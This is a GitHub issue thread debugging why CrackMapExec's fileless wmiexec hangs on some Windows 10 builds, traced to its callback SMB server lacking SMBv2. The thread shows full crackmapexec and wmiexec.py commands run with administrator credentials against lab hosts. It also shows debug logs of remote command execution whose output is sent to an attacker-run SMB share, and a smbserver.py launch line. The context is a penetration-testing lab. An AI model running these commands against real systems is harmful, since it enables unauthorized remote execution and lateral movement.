SMB server spun up for fileless execution method doesn't have smbv2 support enabled

[ldionmarcil]

I often run into boxes where cme's smb wmiexec hangs forever, but impacket's wmiexec.py works as intended. I found this weird since cme leverages impacket, so I dug around the code. On older versions (ie the one on kali's repositories) I found that cme's wmiexec wouldn't hang on a machine where hanging would occur on the master branch version. The only difference as far as I can tell is that cme's master branch now performs execute_fileless(data) by default, compared to older versions which would always perform execute_remote.

On some machines, fileless wmiexec will fail and hang forever (I've yet to identify what causes this, works on Server 2016 but fails on Windows 10 machine in my experience). This is seen when running both versions with --verbose. I suppose this bug report is two phase… execute_fileless hangs forever (aka doesn't fall-back to execute_remote, and obviously the fact that execute_fileless fails in the first place. I'm not sure if this is a bug in impacket, btw.

Steps to reproduce

1. Run on 3.1.5 - Smidge

   
   root@kali:~/Documents/tools/CrackMapExec# crackmapexec -v
   3.1.5 - 'Smidge'

root@kali:~/Documents/tools/CrackMapExec# crackmapexec --verbose smb 172.24.0.28 -d HACKINGLABS -u Administrator -p pass -x whoami --exec-method wmiexec DEBUG {'domain': 'HACKINGLABS', 'wdigest': None, 'verbose': True, 'sam': False, 'cred_id': [], 'module_options': [], 'fail_limit': None, 'share': 'C$', 'lusers': False, 'module': None, 'smb_port': 445, 'show_options': False, 'rid_brute': None, 'uac': False, 'ufail_limit': None, 'pass_pol': False, 'regex': None, 'list_modules': False, 'no_output': False, 'pattern': None, 'lsa': False, 'force_ps32': False, 'shares': False, 'content': False, 'server_host': '0.0.0.0', 'wmi': None, 'exclude_dirs': '', 'server_port': None, 'wmi_namespace': '//./root/cimv2', 'gfail_limit': None, 'mssql_query': None, 'username': ['Administrator'], 'hash': [], 'users': False, 'sessions': False, 'exec_method': 'wmiexec', 'spider': None, 'ps_execute': None, 'threads': 100, 'mssql_port': 1433, 'password': ['pass'], 'mssql': False, 'mssql_auth': 'windows', 'ntds_pwdLastSet': False, 'execute': 'whoami', 'target': ['smb', '172.24.0.28'], 'ntds_history': False, 'disks': False, 'ntds': None, 'server': 'https', 'depth': 10, 'local_auth': False, 'timeout': 20} CME 172.24.0.28:445 MCAFEE [] Windows 10.0 Build 16299 (name:MCAFEE) (domain:HACKINGLABS) CME 172.24.0.28:445 MCAFEE [+] HACKINGLABS\Administrator:pass (Pwn3d!) DEBUG Target system is 172.24.0.28 and isFDQN is False DEBUG StringBinding: \\MCAFEE[\PIPE\atsvc] DEBUG StringBinding: \\MCAFEE[\pipe\SessEnvPublicRpc] DEBUG StringBinding: MCAFEE[49666] DEBUG StringBinding: 172.24.0.28[49666] DEBUG StringBinding chosen: ncacn_ip_tcp:172.24.0.28[49666] DEBUG Executed command via wmiexec DEBUG Executing command: cmd.exe /Q /c cd \ 1> \127.0.0.1\C$\Windows\Temp\TlgiMo 2>&1 DEBUG Executing command: cmd.exe /Q /c cd 1> \127.0.0.1\C$\Windows\Temp\wPGoQY 2>&1 DEBUG Executing command: cmd.exe /Q /c whoami 1> \127.0.0.1\C$\Windows\Temp\axUQsl 2>&1 CME 172.24.0.28:445 MCAFEE [+] Executed command CME 172.24.0.28:445 MCAFEE hackinglabs\administrator [] KTHXBYE!

2. run on 4.0.1dev - Bug Pr0n

(CrackMapExec-Jesz8-ef) [user:foobar:~]$ sudo cme -v 4.0.1dev - Bug Pr0n (CrackMapExec-Jesz8-ef) [user:foobar:~]$ sudo cme --verbose smb 172.24.0.28 -d HACKINGLABS -u Administrator -p pass -x whoami --exec-method wmiexec DEBUG Passed args: {'clear_obfscripts': False, 'content': False, 'cred_id': [], 'darrell': False, 'depth': None, 'disks': False, 'domain': 'HACKINGLABS', 'exclude_dirs': '', 'exec_method': 'wmiexec', 'execute': 'whoami', 'fail_limit': None, 'force_ps32': False, 'gen_relay_list': None, 'gfail_limit': None, 'groups': None, 'hash': [], 'jitter': None, 'list_modules': False, 'local_auth': False, 'local_groups': None, 'loggedon_users': False, 'lsa': False, 'module': None, 'module_options': [], 'no_output': False, 'ntds': None, 'obfs': False, 'only_files': False, 'pass_pol': False, 'password': ['pass'], 'pattern': None, 'port': 445, 'protocol': 'smb', 'ps_execute': None, 'regex': None, 'rid_brute': None, 'sam': False, 'server': 'https', 'server_host': '0.0.0.0', 'server_port': None, 'sessions': False, 'share': 'C$', 'shares': False, 'show_module_options': False, 'spider': None, 'spider_folder': '.', 'target': ['172.24.0.28'], 'threads': 100, 'timeout': None, 'ufail_limit': None, 'username': ['Administrator'], 'users': None, 'verbose': True, 'wmi': None, 'wmi_namespace': 'root\cimv2'} DEBUG SMBv1 might be disabled on 172.24.0.28 DEBUG SMBv1 might be disabled on 172.24.0.28 SMB 172.24.0.28 445 MCAFEE [] Windows 10.0 Build 16299 x64 (name:MCAFEE) (domain:HACKINGLABS) (signing:False) (SMBv1:False) DEBUG Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode. Download it from https://www.dlitz.net/software/pycrypto DEBUG Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode. Download it from https://www.dlitz.net/software/pycrypto DEBUG add_credential(credtype=plaintext, domain=HACKINGLABS, username=Administrator, password=pass, groupid=None, pillaged_from=None) => None SMB 172.24.0.28 445 MCAFEE [+] HACKINGLABS\Administrator:pass* (Pwn3d!) DEBUG Calling execute() DEBUG Starting SMB server DEBUG Config file parsed DEBUG Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 DEBUG Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 DEBUG Config file parsed DEBUG Config file parsed DEBUG Config file parsed DEBUG Target system is 172.24.0.28 and isFDQN is False DEBUG StringBinding: \\MCAFEE[\PIPE\atsvc] DEBUG StringBinding: \\MCAFEE[\pipe\SessEnvPublicRpc] DEBUG StringBinding: MCAFEE[49666] DEBUG StringBinding: 172.24.0.28[49666] DEBUG StringBinding chosen: ncacn_ip_tcp:172.24.0.28[49666] DEBUG Executed command via wmiexec DEBUG Executing command: cmd.exe /Q /c whoami 1> \10.0.10.2\QXJFD\YXdJUf 2>&1 DEBUG Incoming connection (172.24.0.28,57519) DEBUG Handle: [Errno 104] Connection reset by peer DEBUG Closing down connection (172.24.0.28,57519) DEBUG Remaining connections [] (hangs forever once this is reached)

I uncommented impacket's `smbserver.py` `traceback.print_exc()` and got the following stack trace:

Traceback (most recent call last): File "/home/user/.local/share/virtualenvs/CrackMapExec-Jesz8-ef/lib/python2.7/site-packages/crackmapexec-4.0.1.dev0-py2.7.egg/cme/thirdparty/impacket/impacket/smbserver.py", line 3536, in handle p = session.recv_packet(self.__timeOut) File "/home/user/.local/share/virtualenvs/CrackMapExec-Jesz8-ef/lib/python2.7/site-packages/crackmapexec-4.0.1.dev0-py2.7.egg/cme/thirdparty/impacket/impacket/nmb.py", line 854, in recv_packet data = self.read(timeout) File "/home/user/.local/share/virtualenvs/CrackMapExec-Jesz8-ef/lib/python2.7/site-packages/crackmapexec-4.0.1.dev0-py2.7.egg/cme/thirdparty/impacket/impacket/nmb.py", line 932, in read data = self.read_function(4, timeout) File "/home/user/.local/share/virtualenvs/CrackMapExec-Jesz8-ef/lib/python2.7/site-packages/crackmapexec-4.0.1.dev0-py2.7.egg/cme/thirdparty/impacket/impacket/nmb.py", line 919, in non_polling_read received = self._sock.recv(bytes_left) File "/home/user/.local/share/virtualenvs/CrackMapExec-Jesz8-ef/lib/python2.7/site-packages/gevent-1.3.5-py2.7-linux-x86_64.egg/gevent/_socket2.py", line 289, in recv return sock.recv(*args) error: [Errno 104] Connection reset by peer

If I force the code `wmiexec.py` to use `execute_remote(data)`, then the wmiexec succeeds, although it is not fileless:

[…] DEBUG SMBv1 might be disabled on 172.24.0.28 DEBUG SMBv1 might be disabled on 172.24.0.28 SMB 172.24.0.28 445 MCAFEE [] Windows 10.0 Build 16299 x64 (name:MCAFEE) (domain:HACKINGLABS) (signing:False) (SMBv1:False) DEBUG Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode. Download it from https://www.dlitz.net/software/pycrypto DEBUG Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode. Download it from https://www.dlitz.net/software/pycrypto DEBUG add_credential(credtype=plaintext, domain=HACKINGLABS, username=Administrator, password=pass, groupid=None, pillaged_from=None) => None SMB 172.24.0.28 445 MCAFEE [+] HACKINGLABS\Administrator:pass* (Pwn3d!) DEBUG Calling execute() DEBUG Starting SMB server DEBUG Config file parsed DEBUG Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 DEBUG Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 DEBUG Config file parsed DEBUG Config file parsed DEBUG Config file parsed DEBUG Target system is 172.24.0.28 and isFDQN is False DEBUG StringBinding: \\MCAFEE[\PIPE\atsvc] DEBUG StringBinding: \\MCAFEE[\pipe\SessEnvPublicRpc] DEBUG StringBinding: MCAFEE[49666] DEBUG StringBinding: 172.24.0.28[49666] DEBUG StringBinding chosen: ncacn_ip_tcp:172.24.0.28[49666] DEBUG Executed command via wmiexec DEBUG Executing command: cmd.exe /Q /c whoami 1> \127.0.0.1\C$\Windows\Temp\PUzRnN 2>&1 SMB 172.24.0.28 445 MCAFEE [+] Executed command via wmiexec SMB 172.24.0.28 445 MCAFEE hackinglabs\administrator

And of course, impacket's `wmiexec.py` works on this machine:

root@kali:~/Documents/tools/CrackMapExec# wmiexec.py hackinglabs/administrator:pass@172.24.0.28 Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:>whoami hackinglabs\administrator

## OS
Tested on Kali and Arch Linux

[asolino]

Is the SMB Server being ran accepting SMBv2+ dialects? It might happen that is only advertising SMBv1 and the client has it disabled hence closing the connection. Just a thought..

[ldionmarcil]

I'm not sure how to check.

I did some more testing on different Windows 10 installs and noticed that fileless wmiexec is working as expected on Windows 10 Pro 17134 x64 but not on Windows 10.0 Build 16299 x32 (which is the same version as the bug report but 32 bit). I'll provide a wireshark capture later of the failed smb connect back. I tried debugging it but I don't understand the SMB protocol enough to figure this out.

[ldionmarcil]

Debugged some more with a colleague, and I think you're right @asolino. I launched the impacket's smbserver and was greeted with the following error message upon requesting that share from the Windows 10.0 Build 16299 (Fall Creator):

C:\WINDOWS\system32>\\128.1.2.214\YSRXE\aevBYu
Vous ne pouvez pas vous connecter au partage de fichier, car il n'est pas scuris. Ce partage ncessite le protocole SMB1 obsolte qui n'est pas sr et qui expose votre systmes aux attaques. Votre systme ncessite SMB2 ou un protocole plus avanc. Pour plus d'informations sur la rsolution de ce problme, voir: https://go.microsoft.com/fwlink/?linkid=852747

I then started the smbserver with the -smb2support switch and the connect back worked. sudo python2 smbserver.py -comment 'foobar' TMP /tmp -smb2support

So I guess the fix would be to start the smbserver for connect back using smb2 support, although it is "experimental"?

Enabling SMB2 support breaks a few things, but fixes some other. IE after setting it to True in server/smb.py, I get valid SMB callbacks. However, the SMB callback seems to be in a weird userless context (null session?) which impacket's smbserver fails to parse properly:

DEBUG Executed command via wmiexec
DEBUG Executing command: cmd.exe /Q /c whoami 1> \\128.1.2.214\RQXXP\IlPzWH 2>&1
DEBUG Incoming connection (128.1.3.77,54254)
DEBUG AUTHENTICATE_MESSAGE (\,MCAFEE)                 ← here
DEBUG User \MCAFEE authenticated successfully                ← and here
DEBUG :::00::4141414141414141
DEBUG Handle: [Errno 104] Connection reset by peer
DEBUG Closing down connection (128.1.3.77,54254)
DEBUG Remaining connections []
DEBUG Incoming connection (128.1.3.77,54255)

As you can tell, the domain\user are both null…

Setting smb2support to true, however, fixes atexec and smbexec. Both wmiexec and mmcexec seem to perform connect backs with null sessions.

Testing on both Windows 10 versions 16299 and 17134, I realized that browsing UNC path (effectively performing SMB handshakes) as nt authority\system will be done through a null session on 16299, and on 17134 the SMB handshake will be performed with a machine user (HACKINGLABS\MCAFEE$).

[asolino]

Great to know that was the issue @ldionmarcil . Looks like newer Windows versions have SMBv1 disabled. It should be pretty simple to add SMBv2 functionality inside CME, it's just calling this method once the SMBServer is instantiated.

You say enabling SMB2+ breaks some things.. not sure which ones are you referring to. Those DEBUG messages seem correct to me.

BTW, although SMB2+ support is advertised as experimental, I've been using it quite a lot so you can consider it fairly reliable.

Hope this helps,

[ldionmarcil]

@asolino see my edits, I didn't want to update 3 comments in a row ;). Basically, wmi and mmc will work with SMB2 support, but will break atexec and smbexec. I suggest trying to get your hand on a 16299 machine and trying it there to see what I mean.

[asolino]

I'll try to get some tests done on those Win 10k versions. However, still don't understand much your comments. I guess you're talking about those remote execution techniques in the context of CME, because in impacket atexec does not support a server listening the output. I'm not familiar with CME code but I'm sure @byt3bl33d3r will nail this down soon, especially knowing this is probably due to just adding SMBv2+ support to the listening SMB Server.

With regards to parsing comments:

DEBUG AUTHENTICATE_MESSAGE (\,MCAFEE)                 ← here
DEBUG User \MCAFEE authenticated successfully                ← and here

Those seem to be normal logs for a NULL session connection. Those log lines are build this way:

smbServer.log("AUTHENTICATE_MESSAGE (%s\\%s,%s)" % (authenticateMessage['domain_name'], authenticateMessage['user_name'], authenticateMessage['host_name']))
[...]
smbServer.log('User %s\\%s authenticated successfully' % (authenticateMessage['user_name'], authenticateMessage['host_name']))

The log format is a lil bit confusing but the values were set correctly (basically, showing just the target hostname since there's no domainName or userName provided as part of the NULL connection).

In any case, thanks for bringing this up, clearly there will be a need to enable SMB2+ support in many tools when trying to target newer Win10k versions.

[byt3bl33d3r]

I love easy fixes. Thanks for you help as usual @asolino :)

@ldionmarcil I'll take care of this soon

[mpgn]

Probably related to this:

• https://social.technet.microsoft.com/Forums/lync/en-US/71c61779-8a48-4a0d-bc6b-91e1e201c880/localserviceaccount-does-not-access-totally-open-samba-share-through-unc?forum=ws2016
• https://superuser.com/questions/1165384/unable-to-access-network-drive-as-system-account-on-windows-10windows-server-20
• https://serverfault.com/questions/135867/how-to-grant-network-access-to-localsystem-account

[mpgn]

Should be fixed since V5 doesn't execute command using execute_fileless(data) function but execute_remote() with wmiexec method.

If you want to execute command using fileless method use the smbexec method option --exec-method smbexec